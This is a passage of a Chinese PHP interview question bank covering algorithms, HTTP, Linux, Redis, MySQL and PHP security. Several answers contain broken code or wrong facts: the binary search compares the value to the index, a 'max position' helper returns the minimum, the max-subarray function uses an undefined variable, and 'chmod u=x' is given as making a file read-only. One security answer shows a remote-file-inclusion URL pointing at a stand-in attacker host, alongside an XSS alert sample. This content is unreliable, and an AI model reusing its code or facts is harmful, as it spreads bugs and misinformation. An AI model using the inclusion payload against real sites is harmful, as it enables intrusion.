“`php
/**
* 获取大王
* @param int $n
* @param int $m
* @return int
*/
function get_king_mokey($n, $m)
{
$arr = range(1, $n);

$i = 0;

while (count($arr) > 1) {
$i++;
$survice = array_shift($arr);

if ($i % $m != 0) {
array_push($arr, $survice);
}
}

return $arr[0];
}
7.如何快速寻找一个数组里最小的1000个数

思路:假设最前面的1000个数为最小的,算出这1000个数中最大的数,然后和第1001个数比较,如果这最大的数比这第1001个数大的话跳过,如果要比这第1001个数小则将两个数交换位置,并算出新的1000个数里面的最大数,再和下一个数比较,以此类推。
代码如下:

//寻找最小的k个数
//题目描述
//输入n个整数,输出其中最小的k个。
/**
* 获取最小的k个数
* @param array $arr
* @param int $k [description]
* @return array
*/
function get_min_array($arr, $k)
{
$n = count($arr);

$min_array = array();

for ($i = 0; $i < $n; $i++) {
if ($i < $k) {
$min_array[$i] = $arr[$i];
} else {
if ($i == $k) {
$max_pos = get_max_pos($min_array);
$max = $min_array[$max_pos];
}

if ($arr[$i] < $max) {
$min_array[$max_pos] = $arr[$i];

$max_pos = get_max_pos($min_array);
$max = $min_array[$max_pos];
}
}
}

return $min_array;
}

/**
* 获取最大的位置
* @param array $arr
* @return array
*/
function get_max_pos($arr)
{
$pos = 0;
for ($i = 1; $i < count($arr); $i++) {
if ($arr[$i] < $arr[$pos]) {
$pos = $i;
}
}

return $pos;
}

$array = [1, 100, 20, 22, 33, 44, 55, 66, 23, 79, 18, 20, 11, 9, 129, 399, 145, 2469, 58];

$min_array = get_min_array($array, 10);

print_r($min_array);
8.如何在有序的数组中找到一个数的位置(二分查找)

代码如下:

/**
* 二分查找
* @param array $array 数组
* @param int $n 数组数量
* @param int $value 要寻找的值
* @return int
*/
function binary_search($array, $n, $value)
{
$left = 0;
$right = $n – 1;

while ($left <= $right) { $mid = intval(($left + $right) / 2); if ($value > $mid) {
$right = $mid + 1;
} elseif ($value < $mid) { $left = $mid – 1; } else { return $mid; } } return -1; } 9.给定一个有序整数序列,找出绝对值最小的元素 思路:二分查找 /** * 获取绝对值最小的元素 * @param array $arr * @return int */ function get_min_abs_value($arr) { //如果符号相同,直接返回 if (is_same_sign($arr[0], $arr[$n – 1])) { return $arr[0] >= 0 ? $arr[0] : $arr[$n – 1];
}

//二分查找
$n = count($arr);
$left = 0;
$right = $n – 1;

while ($left <= $right) {
if ($left + 1 === $right) {
return abs($arr[$left]) < abs($arr[$right]) ? $arr[$left] : $arr[$right];
}

$mid = intval(($left + $right) / 2);

if ($arr[$mid] < 0) { $left = $mid + 1; } else { $right = $mid – 1; } } } /** * 判断符号是否相同 * @param int $a * @param int $b * @return boolean */ function is_same_sign($a, $b) { if ($a * $b > 0) {
return true;
} else {
return false;
}
}
10.找出有序数组中随机3个数和为0的所有情况

思路:动态规划

function three_sum($arr)
{
$n = count($arr);

$return = array();

for ($i=0; $i < $n; $i++) {
$left = $i + 1;
$right = $n – 1;

while ($left <= $right) {
$sum = $arr[$i] + $arr[$left] + $arr[$right];

if ($sum < 0) { $left++; } elseif ($sum > 0) {
$right–;
} else {
$numbers = $arr[$i] . ‘,’ . $arr[$left] . ‘,’ . $arr[$right];
if (!in_array($numbers, $return)) {
$return[] = $numbers;
}

$left++;
$right–;
}
}
}

return $return;
}

$arr = [-10, -9, -8, -4, -2, 0, 1, 2, 3, 4, 5, 6, 9];
var_dump(three_sum($arr));
11.编写一个PHP函数,求任意n个正负整数里面最大的连续和,要求算法时间复杂度尽可能低。

思路:动态规划

/**
* 获取最大的连续和
* @param array $arr
* @return int
*/
function max_sum_array($arr)
{
$currSum = 0;
$maxSum = 0;//数组元素全为负的情况,返回最大数

$n = count($arr);

for ($i = 0; $i < $n; $i++) { if ($currSum >= 0) {
$currSum += $arr[$j];
} else {
$currSum = $arr[$j];
}
}

if ($currSum > $maxSum) {
$maxSum = $currSum;
}

return $maxSum;
}
计算机网络

1.HTTP中GET与POST的区别,注意最后一条

GET在浏览器回退时是无害的,而POST会再次提交请求。
GET产生的URL地址可以被Bookmark,而POST不可以。
GET请求会被浏览器主动cache,而POST不会,除非手动设置。
GET请求只能进行url编码,而POST支持多种编码方式。
GET请求参数会被完整保留在浏览器历史记录里,而POST中的参数不会被保留。
GET请求在URL中传送的参数是有长度限制的,而POST么有。
对参数的数据类型,GET只接受ASCII字符,而POST没有限制。
GET比POST更不安全,因为参数直接暴露在URL上,所以不能用来传递敏感信息。
GET参数通过URL传递,POST放在Request body中。
GET产生一个TCP数据包,POST产生两个TCP数据包。
2.为什么Tcp连接是三次,挥手是四次

在Tcp连接中,服务端的SYN和ACK向客户端发送是一次性发送的,而在断开连接的过程中,B端向A端发送的ACK和FIN是分两次发送的。因为在B端接收到A端的FIN后,B端可能还有数据要传输,所以先发送ACK,等B端处理完自己的事情后就可以发送FIN断开连接了。

3.Cookie存在哪

如果设置了过期时间,Cookie存在硬盘里
没有设置过期时间,Cookie存在内存里
4.COOKIE和SESSION的区别和关系

COOKIE保存在客户端,而SESSION则保存在服务器端
从安全性来讲,SESSION的安全性更高
从保存内容的类型的角度来讲,COOKIE只保存字符串(及能够自动转换成字符串)
从保存内容的大小来看,COOKIE保存的内容是有限的,比较小,而SESSION基本上没有这个限制
从性能的角度来讲,用SESSION的话,对服务器的压力会更大一些
SEEION依赖于COOKIE,但如果禁用COOKIE,也可以通过url传递
Linux

1.如何修改文件为当前用户只读

chmod u=x 文件名

2.Linux进程属性

进程:是用pid表示,它的数值是唯一的
父进程:用ppid表示
启动进程的用户:用UID表示
启动进程的用户所属的组:用GID表示
进程的状态:运行R,就绪W,休眠S,僵尸Z
3.统计某一天网站的访问量

awk ‘{print $1}’ /var/log/access.log | sort | uniq | wc -l
推荐篇文章,讲awk实际使用的shell在手分析服务器日志不愁

Nginx

1.fastcgi通过端口监听和通过文件监听的区别

监听方式 形式 nginx链接fastcgi方式
端口监听 fastcgi_pass 127.0.0.1:9000 TCP链接
文件监听 fastcgi_pass /tmp/php_cgi.sock Unix domain Socket
2.nginx的负载均衡实现方式

轮询
用户IP哈希
指定权重
fair(第三方)
url_hash(第三方)
Memcache/Redis

1.Redis主从是怎样同步数据的?(即复制功能)

无论是初次连接还是重新连接,当建立一个从服务器时,从服务器都将从主服务器发送一个SYNC命令。接到SYNC命令的主服务器将开始执行BGSAVE,并在保存操作执行期间,将所有新执行的命令都保存到一个缓冲区里面,当BGSAVE执行完毕后,主服务器将执行保存操作所得到的.rdb文件发送给从服务器,从服务器接收这个.rdb文件,并将文件中的数据载入到内存中。之后主服务器会以Redis命令协议的格式,将写命令缓冲区中积累的所有内容都发送给从服务器。

2.Memcache缓存命中率

缓存命中率 = get_hits/cmd_get * 100%

3.Memcache集群实现

一致性Hash

4.Memcache与Redis的区别

Memcache
该产品本身特别是数据在内存里边的存储,如果服务器突然断电,则全部数据就会丢失
单个key(变量)存放的数据有1M的限制
存储数据的类型都是String字符串类型
本身没有持久化功能
可以使用多核(多线程)
Redis
数据类型比较丰富:String、List、Set、Sortedset、Hash
有持久化功能,可以把数据随时存储在磁盘上
本身有一定的计算功能
单个key(变量)存放的数据有1GB的限制
MySQL

1.执行SQL语句:select count(*) from articles 时,MySIAM和InnoDB哪个快

MySIAM快,因为MySIAM本身就记录了数量,而InnoDB要扫描数据

3.隐式转换

当查询字段是INT类型,如果查询条件为CHAR,将查询条件转换为INT,如果是字符串前导都是数字将会进行截取,如果不是转换为0。
当查询字段是CHAR/VARCHAR类型,如果查询条件为INT,将查询字段为换为INT再进行比较,可能会造成全表扫描
2.最左前缀原则

有一个复合索引:INDEX(`a`, `b`, `c`)

使用方式 能否用上索引
select * from users where a = 1 and b = 2 能用上a、b
select * from users where b = 2 and a = 1 能用上a、b(有MySQL查询优化器)
select * from users where a = 2 and c = 1 能用上a
select * from users where b = 2 and c = 1 不能
3.聚簇索引和非聚簇索引的区别

聚簇索引的叶节点就是数据节点,而非聚簇索引的页节点仍然是索引检点,并保留一个链接指向对应数据块。

PHP

1.Session可不可以设置失效时间,比如30分钟过期

设置seesion.cookie_lifetime有30分钟,并设置session.gc_maxlifetime为30分钟
自己为每一个Session值增加timestamp
每次访问之前, 判断时间戳
2.PHP进程间通信的几种方式

消息队列
信号量+共享内存
信号
管道
socket
3.php类的静态调用和实例化调用各自的利弊

静态方法是类中的一个成员方法,属于整个类,即使不用创建任何对象也可以直接调用!静态方法效率上要比实例化高,静态方法的缺点是不自动销毁,而实例化的则可以做销毁。

4.类的数组方式调用

ArrayAccess(数组式访问)接口

5.用php写一个函数,获取一个文本文件最后n行内容,要求尽可能效率高,并可以跨平台使用。

function tail($file, $num)
{
$fp = fopen($file,”r”);
$pos = -2;
$eof = “”;
$head = false; //当总行数小于Num时,判断是否到第一行了
$lines = array();
while ($num > 0) {
while($eof != PHP_EOL){
if (fseek($fp, $pos, SEEK_END) == 0) { //fseek成功返回0,失败返回-1
$eof = fgetc($fp);
$pos–;
} else { //当到达第一行,行首时,设置$pos失败
fseek($fp, 0, SEEK_SET);
$head = true; //到达文件头部,开关打开
break;
}
}
array_unshift($lines, str_replace(PHP_EOL, ”, fgets($fp)));
if ($head) {//这一句,只能放上一句后,因为到文件头后,把第一行读取出来再跳出整个循环
break;
}
$eof = “”;
$num–;
}
fclose($fp);
return $lines;
}
6.$SERVER[‘SERVER_NAME’]和$SERVER[‘HTTP_HOST’]的区别

相同点: 当满足以下三个条件时,两者会输出相同信息。

服务器为80端口
apache的conf中ServerName设置正确
HTTP/1.1协议规范
不同点:

通常情况: $_SERVER[“HTTP_HOST”] 在HTTP/1.1协议规范下,会根据客户端的HTTP请求输出信息。 $_SERVER[“SERVER_NAME”] 默认情况下直接输出apache的配置文件httpd.conf中的ServerName值。
当服务器为非80端口时: $_SERVER[“HTTP_HOST”] 会输出端口号,例如:coffeephp.com:8080 $_SERVER[“SERVER_NAME”] 会直接输出ServerName值 因此在这种情况下,可以理解为:$_SERVER[‘HTTP_HOST’] = $_SERVER[‘SERVER_NAME’] : $_SERVER[‘SERVER_PORT’]
当配置文件httpd.conf中的ServerName与HTTP/1.0请求的域名不一致时: httpd.conf配置如下:

ServerName jsyzchen.com
ServerAlias blog.jsyzchen.com

客户端访问域名 blog.jsyzchen.com $_SERVER[“HTTP_HOST”] 输出 blog.jsyzchen.com $_SERVER[“SERVER_NAME”] 输出jsyzchen.com

7.打开php.ini的safe_mode会影响哪些参数

当safe_mode=On时,会出现下面限制:

所有输入输出函数(例如fopen()、file()和require())的适用会受到限制,只能用于与调用这些函数的脚本有相同拥有者的文件。例如,假定启用了安全模式,如果Mary拥有的脚本调用fopen(),尝试打开由Jonhn拥有的一个文件,则将失败。但是,如果Mary不仅拥有调用 fopen()的脚本,还拥有fopen()所调用的文件,就会成功。
如果试图通过函数popen()、system()或exec()等执行脚本,只有当脚本位于safe_mode_exec_dir配置指令指定的目录才可能。
HTTP验证得到进一步加强,因为验证脚本用于者的UID划入验证领域范围内。此外,当启用安全模式时,不会设置PHP_AUTH。
如果适用MySQL数据库服务器,链接MySQL服务器所用的用户名必须与调用mysql_connect()的文件拥有者用户名相同。
详细的解释可以查看官网:www.php.net/manual/zh/i… php safe_mode影响参数
函数名 限制
dbmopen() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
dbase_open() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
filepro() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
filepro_rowcount() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
filepro_retrieve() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
ifx_* sql_safe_mode 限制, (!= safe mode)
ingres_* sql_safe_mode 限制, (!= safe mode)
mysql_* sql_safe_mode 限制, (!= safe mode)
pg_loimport() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
posix_mkfifo() 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
putenv() 遵循 ini 设置的 safe_mode_protected_env_vars 和 safe_mode_allowed_env_vars 选项。请参考 putenv() 函数的有关文档。
move_uploaded_file() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
chdir() 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
dl() 本函数在安全模式下被禁用。
backtick operator 本函数在安全模式下被禁用。
shell_exec() (在功能上和 backticks 函数相同) 本函数在安全模式下被禁用。
exec() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。
system() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。
passthru() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。
popen() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。
fopen() 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
mkdir() 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
rmdir() 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
rename() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
unlink() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
copy() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (on source and target )
chgrp() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
chown() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
chmod() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 另外,不能设置 SUID、SGID 和 sticky bits
touch() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
symlink() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (注意:仅测试 target)
link() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (注意:仅测试 target)
apache_request_headers() 在安全模式下,以“authorization”(区分大小写)开头的标头将不会被返回。
header() 在安全模式下,如果设置了 WWW-Authenticate,当前脚本的 uid 将被添加到该标头的 realm 部分。
PHP_AUTH 变量 在安全模式下,变量 PHP_AUTH_USER、PHP_AUTH_PW 和 PHP_AUTH_TYPE 在 $_SERVER 中不可用。但无论如何,您仍然可以使用 REMOTE_USER 来获取用户名称(USER)。(注意:仅 PHP 4.3.0 以后有效)
highlight_file(), show_source() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (注意,仅在 4.2.1 版本后有效)
parse_ini_file() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (注意,仅在 4.2.1 版本后有效)
set_time_limit() 在安全模式下不起作用。
max_execution_time 在安全模式下不起作用。
mail() 在安全模式下,第五个参数被屏蔽。
8.PHP解决多进程同时写一个文件的问题

function write($str)
{
$fp = fopen($file, ‘a’);
do {
usleep(100);
} while (!flock($fp, LOCK_EX));
fwrite($fp, $str . PHP_EOL);
flock($fp, LOCK_UN);
fclose($fp);
}
9.PHP里的超全局变量

$GLOBALS
$_SERVER
$_GET
$_POST
$_FILES
$_COOKIE
$_SESSION
$_REQUEST
$_ENV
10.php7新特性

?? 运算符(NULL 合并运算符)
函数返回值类型声明
标量类型声明
use 批量声明
define 可以定义常量数组
闭包( Closure)增加了一个 call 方法 详细的可以见官网:php7-new-features
11.php7卓越性能背后的优化

减少内存分配次数
多使用栈内存
缓存数组的hash值
字符串解析成桉树改为宏展开
使用大块连续内存代替小块破碎内存 详细的可以参考鸟哥的PPT:PHP7性能之源
12.include($_GET[‘p’])的安全隐患

现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?p=anyfile.txt 来获取你的机密信息,或执行一个PHP脚本。 如果allow_url_fopen=On,你更是死定了: 试试这个输入:http://www.yourdomain.com/index.php?p=http://youaredoomed.com/phphack.php 现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。

13.列出一些防范SQL注入、XSS攻击、CSRF攻击的方法

SQL注入:

addslashes函数
mysql_real_escape_string/mysqli_real_escape_string/PDO::quote()
PDO预处理 XSS:htmlspecial函数 CSRF:
验证HTTP REFER
使用toke进行验证
14.接口如何安全访问

jwt或验证签名

15.PHP里有哪些设计模式

单例模式
工厂模式
脸面模式(facade)
注册器模式
策略模式
原型模式
装饰器模式 更多的可以看PHP设计模式简介这篇文章
16.验证ip是否正确

function check_ip($ip)
{
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
return false;
} else {
return true;
}
}
17.验证日期是否合理

function check_datetime($datetime)
{
if (date(‘Y-m-d H:i:s’, strtotime($datetime)) === $datetime) {
return true;
} else {
return false;
}
}
18.写一个正则表达式,过滤JS脚本(及把script标记及其内容都去掉)

$text = '<script>// <![CDATA[
alert('XSS')
// ]]></script>';
$pattern = '&lt;script.*&gt;.*&lt;\/script&gt;/i';
$text = preg_replace($pattern, '', $text);

19.下单后30分钟未支付取消订单

第一种方案:被动过期+cron,就是用户查看的时候去数据库查有没有支付+定时清理。 第二种方案:延迟性任务,到时间检查订单是否支付成功,如果没有支付则取消订单

20.设计一个秒杀系统

思路:用redis的队列

$redis_key = ‘seckill’;//记录中奖记录
$uid = $GET[‘uid’];
$count = 10;//奖品的数量
if ($redis->lLen($redis_key) < 10) { $redis->rPush($redis_key, $uid . ‘_’ . microtime());
echo “秒杀成功”;
} else {
echo “秒杀已结束”;
}
21.请设计一个实现方式,可以给某个ip找到对应的省和市,要求效率竟可能的高

//ip2long,把所有城市的最小和最大Ip录进去
$redis_key = ‘ip’;
$redis->zAdd($redis_key, 20, ‘#bj’);//北京的最小IP加#
$resid->zAdd($redis_key, 30, ‘bj’);//最大IP

function get_ip_city($ip_address)
{
$ip = ip2long($ip_address);

$redis_key = ‘ip’;
$city = zRangeByScore($redis_key, $ip, ‘+inf’, array(‘limit’ => array(0, 1)));
if ($city) {
if (strpos($city[0], “#”) === 0) {
echo ‘城市不存在!’;
} else {
echo ‘城市是’ . $city[0];
}
} else {
echo ‘城市不存在!’;
}
}
其他

1.网页/应用访问慢突然变慢,如何定位问题

top、iostat查看cpu、内存及io占用情况
内核、程序参数设置不合理 查看有没有报内核错误,连接数用户打开文件数这些有没有达到上限等等
链路本身慢 是否跨运营商、用户上下行带宽不够、dns解析慢、服务器内网广播风暴什么的
程序设计不合理 是否程序本身算法设计太差,数据库语句太过复杂或者刚上线了什么功能引起的
其它关联的程序引起的 如果要访问数据库,检查一下是否数据库访问慢
是否被攻击了 查看服务器是否被DDos了等等
硬件故障 这个一般直接服务器就挂了,而不是访问慢
2.如何设计/优化一个访问量比较大的博客/论坛

减少http请求(比如使用雪碧图)
优化数据库(范式、SQL语句、索引、配置、读写分离)
缓存使用(Memcache、Redis)
负载均衡
动态内容静态化+CDN
禁止外部盗链(refer、图片添加水印)
控制大文件下载
使用集群
3.如何搭建Composer私有库

使用satis搭建
相关文章介绍:使用satis搭建Composer私有库